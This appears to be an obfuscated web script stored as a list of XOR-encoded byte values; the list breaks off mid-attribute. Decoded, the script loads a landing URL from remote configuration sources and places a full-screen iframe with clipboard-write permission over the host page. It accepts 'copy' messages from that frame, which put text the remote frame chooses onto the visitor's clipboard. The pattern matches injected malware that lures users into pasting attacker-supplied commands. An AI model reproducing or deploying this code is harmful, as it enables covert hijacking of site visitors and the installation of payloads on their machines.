4,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,